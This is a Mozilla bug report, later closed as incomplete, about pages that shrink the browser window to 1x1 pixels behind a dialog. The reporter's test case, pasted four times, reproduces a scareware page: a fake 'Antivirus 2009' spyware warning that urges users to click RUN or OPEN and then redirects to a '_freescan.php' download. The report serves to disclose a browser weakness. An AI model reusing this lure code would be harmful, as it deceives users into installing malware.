Closed
Bug 473749
Opened 16 years ago
Closed 3 years ago
Hide current window behind the message dialog
Categories
(Core :: DOM: Core & HTML, defect, P5)
Tracking
()
RESOLVED
INCOMPLETE
People
(Reporter: thomas.pi, Unassigned)
References
()
Details
(Whiteboard: DUPEME)
Attachments
(2 files)
User-Agent: Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5
Build Identifier: Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5
Resises the windows to the size 1x1 and opens shows a message dialog windows on top.
Reproducible: Always
window.js
{
var coordschunks = coords.split(/\b\s*;\s*\b/);
var acoords = new Array();
for (var i=0; i < coordschunks.length; i++)
{
var aCrumb = coordschunks[i].split(/\b\s*(=|\:)\s*\b/);
acoords[aCrumb[0]] = aCrumb[aCrumb.length - 1];
};
var sizechunks = size.split(/\b\s*;\s*\b/);
var asize = new Array();
for (var i=0; i < sizechunks.length; i++)
{
var aCrumb = sizechunks[i].split(/\b\s*(=|\:)\s*\b/);
asize[aCrumb[0]] = aCrumb[aCrumb.length - 1];
};
window.resizeTo(asize['w'], asize['h']);
window.moveTo(acoords['x'], acoords['y']);
};
test.html
<html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1');
is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
2009 will perform a 100% FREE and quick scan of your PC for Viruses, Spyware and Adware.Do you want
to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
prompted to start the installation.\n\nThis file has been digitally signed and independently certified
as 100% free of spyware, adware and viruses.');
};
fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height);
window.resizeTo(window.screen.width, window.screen.height);
window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1');
is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
2009 will perform a 100% FREE and quick scan of your PC for Viruses, Spyware and Adware.Do you want
to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
prompted to start the installation.\n\nThis file has been digitally signed and independently certified
as 100% free of spyware, adware and viruses.');
};
fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height);
window.resizeTo(window.screen.width, window.screen.height);
window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1');
is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
2009 will perform a 100% FREE and quick scan of your PC for Viruses, Spyware and Adware.Do you want
to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
prompted to start the installation.\n\nThis file has been digitally signed and independently certified
as 100% free of spyware, adware and viruses.');
};
fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height);
window.resizeTo(window.screen.width, window.screen.height);
window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html><html>
<body>
<script src='window.js'></script>
<script>
fdfsdfsdd('x:'+window.screen.width/2+'; y:'+(window.screen.height/2-30), 'w:1; h:1');
is_XP_SP2 = (navigator.userAgent.indexOf("SV1") != -1) || (navigator.appMinorVersion && (navigator
.appMinorVersion.indexOf('SP2') != -1));
is_IE=false;
if (navigator.appName.toLowerCase()=='microsoft internet explorer'){
if (navigator.userAgent.toLowerCase().indexOf('opera')<=0) { is_IE=true; }
}
if(confirm('ATTENTION! If your computer is struck by the spyware, you could suffer data loss, unusual
PC behaviour, PC freezes and crashes.Detect and remove viruses before they damage your computer!Antivirus
2009 will perform a 100% FREE and quick scan of your PC for Viruses, Spyware and Adware.Do you want
to install Antivirus 2009 to scan your computer for malware now? (Recommended)'))
{
alert('Antivirus 2009 will scan your system for threats now.\n\nPlease select "RUN" or "OPEN" when
prompted to start the installation.\n\nThis file has been digitally signed and independently certified
as 100% free of spyware, adware and viruses.');
};
fdfsdfsdd('x:0; y:0', 'w:' + window.screen.width + '; h:' + window.screen.height);
window.resizeTo(window.screen.width, window.screen.height);
window.open('_freescan.php?nu=880135', '_self');
window.focus();
</script>
</body>
</html>
Component: General → DOM
Product: Firefox → Core
QA Contact: general → general
Whiteboard: DUPEME
Version: unspecified → 1.9.0 Branch
Comment 1•15 years ago
|
||
could you supply a link to an example?
Sorry. The link does not work anymore. But I have corrected the submitted code and will upload it. It still does work with the version 3.6.7
Comment 5•7 years ago
|
||
https://bugzilla.mozilla.org/show_bug.cgi?id=1472046
Move all DOM bugs that haven’t been updated in more than 3 years and has no one currently assigned to P5.
If you have questions, please contact :mdaly.
Priority: -- → P5
Assignee | ||
Updated•6 years ago
|
Component: DOM → DOM: Core & HTML
Comment 6•3 years ago
|
||
Marking this as Resolved > Incomplete since the last activity on this issue was 11 years ago and it might not be relevant anymore.
The provided test cases don't work anymore.
Feel free to re-open if the issue is still reproducible on your end in the latest FF versions.
Status: UNCONFIRMED → RESOLVED
Closed: 3 years ago
Resolution: --- → INCOMPLETE
You need to log in
before you can comment on or make changes to this bug.
Description
•